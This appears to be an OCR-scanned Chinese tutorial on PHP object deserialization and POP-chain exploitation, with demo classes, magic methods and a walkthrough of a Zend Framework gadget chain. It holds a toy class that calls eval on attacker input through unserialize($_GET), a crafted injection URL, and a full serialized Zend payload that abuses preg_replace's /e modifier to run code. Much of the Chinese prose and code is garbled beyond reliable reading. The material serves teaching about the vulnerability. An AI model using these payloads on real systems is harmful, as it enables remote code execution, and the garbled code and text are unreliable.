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<?PHP

$arr = array("First"=>"WHOAMI","Second"=>"bigcat","Third"=>"spd4clous");
echo json_encode($arr);

?>
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{"First":"WHOAMI","Second":"bigcat","Third":"sp4cTous"}
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<?PHP

class Car
{
const WHEELS = 4; // REHRINRT
var $seats; // BELL
var $doors; // 07
var $engine; /] R
var $brand; //

public function getBrand()

{

return $this->brand;
}
public function setBrand($brand): void
{

$this->brand = $brand;
}
public function drive()
{
echo "1./8315/%..." . PHP_EOL;
echo "2.#:D#4..." . PHP_EOL;
echo "3.TFFHM..." . PHP_EOL;
echo "4.FMI T, H&..." . PHP_EOL;
}
public function close()
{
echo "1.B#1%..." . PHP_EOL;
echo "2.#P#4..." . PHP_EOL;
echo "3.HEFHF|..." . PHP_EOL;
echo "4.KM5|%..." . PHP_EOL;
}

$car = new Car();
var_dump(Car: :WHEELS);

$car->seats = 5;
var_dump($car->seats);

$car->setBrand ("Fih");
var_dump($car->getBrand());

$car->drive();
$car->close();

$a = serialize($car);

echo $%a;

?>
//0:3:"Car":4:{s:5:"seats";i:5;s:5:"doors";N;s:6:"engine";N;s:5:"brand";s:6:"F4";}
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$car = new Car();
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var_dump(Car: :WHEELS);
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$car->seats = 5;
var_dump($car->seats);
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$car->setBrand ("FH");
var_dump($car->getBrand());
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$car->drive();
$car->close();
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D:\phpstudy pro\WWW\fxlh. php:39:
int (4)

D:\phpstudy pro\WWW\fxlh. php:42:
int (5)

D:\phpstudy pro\WWW\fxlh. php:45:
string(6) ”FF4th”
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<?PHP

class Test

{
public $public = 'spdclous’;
protected $protected = 'spdclous’;
private $private = 'spdclous’;

}
$test = new Test();
$a = serialize($test);

echo $a;
?>
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$a = serialize($car);
$b = unserialize($a);
print_r($b);



Car Object

(
[seats] => 5
[doors] =»
lengine] =>
[brand] => #4b
)
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$car->seats 5;
var_dump($car->seats);

$car->setBrand('Hacked by NHOAMI")J
var_dump($car->getBrand());

$car->drive();
$car->close();

$a = serialize($car);
$b = unserialize($a);

Car Object

(
[seats] => 5
[doors] =»
[engine] =>

[brand] => Hacked by WHOAMI
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__construct () HAMETTE, MHEELIE MW RNE, BhASEHTH A%, BEHTR
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<?php

class MyDestructableClass

{
function __construct() {
print "In constructor\n";
}
function _ destruct() {
print "Destroying " . __CLASS__ . "\n";
}
}

$obj = new MyDestructableClass();
. S—

H 347
1| In constructor

2 Destroving MyDestructableClass
3

__set() __get() _isset() _unset () UANTHTENEHER.

BHER

public __set(string $name, mixed $value): void

public _ get(string $name): mixed

public __isset(string $name): bool

public __unset(string $name): void

FHGAETE (protected 8% private) BRAYFAERIEMMIERT, __set() SHERA.

ERURENIE) (protected % private) SRAZIERIEILAERT, _ eet() SHAM.
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https://www.php.net/manual/zh/language.oop5.magic.php
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class test {

private $flag = '';

# AT HREEROLE
private $data = array();

public $filename = H

public $content = ;

function __construct($filename, $content) {
$this->filename = $filename;
$this->content = $content;
echo 'construct function in test class';
echo "<br>";

function __destruct() {
echo 'destruct function in test class';
echo "<br>";

function __set($key, $value) {
echo 'set function in test class';
echo "<br>";
$this->data[$key] = $value;

function _ get($key) {
echo 'get function in test class’;
echo "<br>";
if (array_key exists($key, $this->data)) {
return $this->data[$key];
} else {
return null;

function __isset($key) {
echo 'isset function in test class’';
echo "<br>";
return isset($this->data[$key]);

function __unset($key) {
echo 'unset function in test class’';
echo "<br>";
unset($this->data[$key]);

public function set_flag($flag) {
$this->flag = $flag;

public function get_flag() {
return $this->flag;



$a = new test('test.txt', 'data’);

__set() B1AH

$a->var = 1;

__get() #1AH

echo $a->var;

__isset() # 1A H

var_dump(isset($a->var));

__unset() #E A
unset($a->var);
var_dump(isset($a->var));

echo "\n";

WA RA:
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5. "__sleep()" ~__wakeup() XEEXNTFRFIMLIFFEFHIEEZEEZRNFHENTIE
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“ 7 php
<?

class test {
private $flag = '';

# AT REERKESE

private $data = array();
public $filename = '';
public $content = '';

function _ construct($filename, $content) {
$this->filename = $filename;
$this->content = $content;
echo 'construct function in test class’;
echo "<br>";

function _ destruct() {
echo 'destruct function in test class';
echo "<br>";



# RIFFIE ALK

function __ wakeup() {
// file_put_contents($this->filename, $this->data);
echo 'wakeup function in test class';
echo "<br>";

# —BRBARERICERIERR, HTREHE
function __sleep() {

echo 'sleep function in test class';

echo "<br>";

return array('flag', 'filename', 'data');

public function set_flag($flag) {
$this->flag = $flag;

public function get_flag() {
return $this->flag;

$key = serialize(new test('test.txt', 'test'));
var_dump($key);

$b = unserialize($key);

print_r($b);

REIZERWMT, WUERRS%  sleep)i_ wakeup, FAHERLFIERFIMLHIG, TRIRLHEHE
i
Hsh#T @

1 construct function in test class<br>sleep function in test class<br>destruct function in test
class<br>D:\phpstudy_pro\WWW\fx1lh. php:50:

2 string(94) “0:4:"test”:3:{s:10:”\000test\000flag” :s:0:"":5:8:"filename”;s:8: "test. txt”;s:10:"\000test\000data” :a:0: {}}”
3 | wakeup function in test class<br>test Object
4| (

5 [flag:test:private] =>

6 [data:test:private] => Array

7 (

8 )

9

10 [filename] => test. txt

11 [content] =>

12|)

13 destruct function in test class<br>

__toString () ik WRIFFEEN —NEARTTE

__toString()

public _ toString(): string
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<?php
class sp4clous {
private $test;
public $sp4clous = "i am sp4clous”;
function __construct() {
$this->test = new sdpc();
}

function _ destruct() {
$this->test->action();

}
}

class sdpc {
function action() {
echo "Welcome to sdpcsec”;

}
}

class Evil {

var $test2;
function action() {
eval($this->test2);

}
}

unserialize($_GET['test']);

EBATERE T — T X — BRI, XMIEHE =4, 25 8spdcious. sdpc. Evil. HH, sdpck—AMEH
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ARSI, ERASERBAARBIBENTMET, B destruct OMET, HET —MEM

test » ZTFTHAFRMNATUBREBHRA T ! BEEHXEREH T —1action () % sdpcFIEVIX BN BT
Haction () FiE, HEEVIl XANEFME) action () BEHAT eval ()

Mo BBRR: BAIFEHR spdclous XANKHH test BHEZBN Evil ENMEKINR, RIFANT eval B
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<?php
class sp4clous {
private $test;
function __construct() {

$this->test = new Evil;

class Evil {

var $test2 = "phpinfo();";

$spdclous = new spédclous;
$data = serialize($sp4clous);

//0:8:"spdclous":1:{s:14:"%0@0spdclousk00test";0:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

BMNEBRT —ERNEELHBEET KA A BT DE B R

& > C O localhost/fxIh.php?test=0:8:"sp4cTous":1:{sf14:"%00sp4cTous%00test";P:4:"Evil:1:(s:5:"test2";s:10:"phpinfo();";}}

iR | I8 KteigE study At/ME & SE-T. (EAME @ ESIHE SPAC.
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Php

System Windows NT PC-20210224XFDL 10.0 build 19042 (Windows 10) AMD64
Build Date Apr 2 2019 21:50:57

Compiler MSVC15 (Visual C++ 2017)

Architecture x64

Configure Command

cscript /nologo configure js "--enable-snapshot-build” "--enable-debug-pack” "--disable-zts" "--with-
pdo-oci=c\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared" "--with-oci8-12c=c\php-
snap-build\deps_aux\oracle\x64\instantclient 12_1\sdk,shared" "--enable-object-out-dir=_/obj/" "--
enable-com-dotnet=shared” "--without-analyzer" "--with-pgo"

Server API CGl/FastCGl
Virtual Directory Support disabled
Configuration File (php.ini) Path C\windows

Loaded Configuration File DA\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
Scan this dir for additional .ini files (none)

Additional .ini files parsed (none)

PHP API 20180731

PHP Extension 20180731

Zend Extension 320180731

Zend Extension Build

API320180731,NTS VC15

PHP Extension Build

API20180731,NTS,VC15

Debug Build

no
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EHRIRUWAREHR NP EE IFEHRRECLFER . BA B B AR EERE R4S % G iX kAR
LEM R BPERR, BA—MELNEEREN A, RLEFRMPIAT libc HEREFE £ systemeall

¥ E 1

POP T [ J& P4 4% 72 (Property-Oriented Programing) & T L EiE S WiERr e RAERN 7k, 5238R AR
HFRFE%FE (Return-Oriented Programing) HIJREAHML, #HERMRE BITHE+H IR — RFIHMREERETE
2R, RERERRAB—HESN AR &L AR BEHEREREHL

PRI AR — mBl 2 ROP 2t Ak b SE IR 18- AT RAR, T ERATHI SR 514 2 38 i 42 861 % S D 1k A
T SEPZ IR P I PATIRAR,  BET KRR A 5 B E R AEETH FREK H K~

SE RSB

HRXARE BE AT T B LE K unserialize() B ¥, BERATBIR EIX A unserialize() ZERATHI 2 —
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Zend_Log

class Zend Log

{
I
* @var array of Zend Log Writer Abstract
ot J
protected § writers = array();
Zend_Log
/** =
_writers

* Class destructor. Shutdown log writers
*
* @return void
*/
public function destruct ()
{
foreach(Sthis-> writers as Swriter) {
Swriter->shutdown() ;

}



Zend_Log_Writer_Mail

{

public

class Zend Log Writer Mail extends Zend Log Writer_abstrac Zend_Log Writer Mail

function shutdown ()

{ _eventsToMail
if (empty($this-> M _subjectPrependText
return; -
) _mail
if (§this-> ' ) { _layout
mEntries ithis-> getFormattedNumEntriesPe 2
o Qo B et _layoutEventsToMail
"{Sthi > ibjectPre nd (1 T }}®);
}
S=-> 0O )setBody’I‘cxt (implode('', § 8-> M )):;
;’ / If \ end vout A ] €
// wvalue t tl | rm 1 wit
if (S5t > )
l/ at the e . 1e e ‘ we
[/ are assuming T y 5 w ™
th > >4 3
impluriu( ’ 5 > )
// If an exception 1X
¥ 5O W AT 1 | X ta tl w W
try {
this-> m >setBodyHtml (51 > >render()) ;
} cateh ( ) |
trigger error(...

Zend_Layout

class Zend Layout

Zend_Layout

protected § ini -
protected 1 Enal | - _lnﬂedor
protected § 'layout’ ; _mﬂectorEnabled
public function render ($name = L) _’ayom
{

if (null === Sname) {

Sname = Sthis->getLayout();
}
e is->inflectorEnabled() && (nu = (§ = S ->getInflector())))
me = Sthis-> r->filter (array('script => $§ )):
}



Zend_Filter_PregReplace

class Zend Filter PregReplace implements

{
protected § matchPattern = null;
protected § replacement = '';
p.n.ﬂ;)lic function filter (Svalue)
{
if (Sthis-> matchPattern == null) {
require once 'Zend/Filter/Exception.php’;
throw new (get class(Sthis) . ' does ....");
}
return preg replace ($this-> matchPattern, §this-> replacement, $value);
}
} Zend_Filter_PregReplace
_matchPattern
_replacement
Putting it all together...
Zend_Filter_PregReplace Zend_Log
i writers
_matchPattern = "/(.*)/e" Zend_Mail -

_replacement = "phpinfo().die()" /

Zend_Log_Writer_Mail

Zend_Layout
_eventsToMail = array(1)
_inflector _subjectPrependText = null

_inflectorEnabled = true \_maﬂ
_layout = "layout” _layout
_layoutEventsToMail = array(1)

0:8:\"Zend_Log\":1:{s:11:\"\@*\O_writers\";a:1:{1:0;0:
20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{1:0;1:1;}s:
22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\@*\0_mail\";0:9:\"Zend_Mail\":
0:{}s:10:\"\0*\0_layout\";0:11:\"Zend_Layout\":3:{s:13:\"\0*\@_inflector
\";0:23:\"Zend_Filter_PregReplace\":2: {s:16:\"\@*\O_matchPattern\";s:7:\"/
(.*)/e\";s8:15:\"\@*\@_replacement\";s:15:\"phpinfo().die(Q\";}s:20:\"\0*
\@_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*
\@_subjectPrependText\";N;}}}
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BEAMMEBRIERZRE T ENRM. .

B
FIK unserialize() RIS H R EBEA R TIES
FRBEARFFIGE B bR, ERFIR 71 wakeup() 2t destruct() BEAR 7K

—BE-BH R ZRERETEPERNEENEERAN %, BERGAWENEERIIAES
Bl VA P A 3 72 gk R G

THRIRE XA BT — T

—TFaa B Bl BA IR BOX A unserialize() ZERATHE —KE A BT, HHSHELWE, BRI
MEE— 5K T a6 74T

F—KEFFE - writersBt:, RFETEN writersBHE—NSwriteTHEH, HIAE
HEswriteBBMAshutdown () HIERE, XN SwriteMixRRE—MRIZFMNR (RHBXANRMA
EFLHENE R RRER~) , U RINTETFEZR LA T,

RIEME T HE ZKE, RiTEEshutdown () HERB TN —TE, REZHEMEE, RNESE—
TERANBHEAGE, BAFE —emptyRBXBEWHT eventsToMaillBt, A5 NIEE - NMIHH

F7 subjectPrependText, RJF/FMIEHA mail. layout. layoutEventsToMail, FIFEZHE—

E A F—FE, RATTURI, XEHschisTARAHERKBELE, B mail. layout, FEFLEWMHIITT

TEREE, BABRMMERLES, BAIWEZAD layout#MAKrender () HEH#AT—AK, _mail

B FHEBET X, HEXERR-MER, HEAERHRX—RIRHKFS .

F=kERXANRERITERT layoutAMrender () R#, XNKRBEFENLEARE
£ inflector. inflectorEnabled. layout, {HREEERNBMEEKIM, EE AN
B inflector MM T —Afilter () Tk, BATEEPSE TREIANTIE,

FENKEBMARBANKBIMICilter () FEFERNE, XEBEEXHNRENE

_matchPattern. replacement, HEIXE, CERRAHNTENHEAT . ANXER—

A preg_replace () BE! FRERSH R LK E BT CHEHIHE M 8T RBEATH AT AR AT
I

it LA B B2 -

$writer->shutdown()->render()->filter()->preg_replace(ZATEHIKIBIE) - >R AT
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0:8:"Zend_Log":1:{

s:11:"0*0_writers";a:1:{

i:©;0: 20:"Zend_Log_Writer_Mail":5:{

"@*@_eventsToMail®;a:1:{i
©*@_layoutEventsToMai
©_mail";0:9:"Zend_Mail"

s:10:"0*0_layout";0:11:"Zend_Layout™:3:{

:13:"@*@_inflector ";0:23:"Zend_Filter_PregReplace”:2:

matchPattern”;s:7:"/ ( g

s:16:"@* [ (-*)/e
s:15:"8*@_replacement”;s:15:"phpinfo().die()";

0_
e_

- "@* @_inflectorEnabled";b:1;
:10:"0*@_layout”;s:6:"layout"™;

* @_subjectPrependText";N;
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